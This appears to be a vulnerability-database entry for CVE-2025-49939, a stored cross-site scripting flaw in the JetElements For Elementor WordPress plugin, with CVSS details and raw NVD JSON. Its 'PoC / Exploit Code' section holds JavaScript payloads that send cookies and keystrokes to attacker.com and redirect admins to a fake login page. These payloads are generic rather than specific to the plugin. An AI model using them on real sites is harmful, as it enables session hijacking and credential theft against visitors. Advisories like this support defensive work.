Security Vulnerability Report
中文
CVE-2025-49939 CVSS 6.5 MEDIUM

CVE-2025-49939

Published: 2025-10-22 15:15:40
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetElements For Elementor jet-elements allows Stored XSS.This issue affects JetElements For Elementor: from n/a through <= 2.7.8.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

JetElements For Elementor <= 2.7.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-49939 Stored XSS PoC for JetElements For Elementor --> <!-- This PoC demonstrates how to inject malicious JavaScript via vulnerable input field --> <!-- Inject the following payload into a vulnerable JetElements input field --> <script> // Steal session cookies var stolenCookies = document.cookie; // Send stolen data to attacker's server fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookies) + '&location=' + encodeURIComponent(window.location.href), { method: 'GET', mode: 'no-cors' }); // Alternative payload: Session hijacking console.log('Stolen session:', stolenCookies); </script> <!-- Alternative payload: Keylogger --> <script> document.onkeypress = function(e) { fetch('https://attacker.com/log?key=' + e.key); } </script> <!-- Alternative payload: DOM-based redirection --> <script> if (location.search.indexOf('admin') > -1) { // Redirect admin users to fake login page window.location.href = 'https://attacker.com/fake-login?ref=' + encodeURIComponent(window.location.href); } </script> <!-- Steps to exploit: --> <!-- 1. Identify a JetElements form or input field --> <!-- 2. Submit the malicious payload in the field --> <!-- 3. Payload gets stored in database --> <!-- 4. Any user viewing the page will execute the script -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49939", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:40.293", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Crocoblock JetElements For Elementor jet-elements allows Stored XSS.This issue affects JetElements For Elementor: from n/a through <= 2.7.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/jet-elements/vulnerability/wordpress-jetelements-for-elementor-plugin-2-7-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}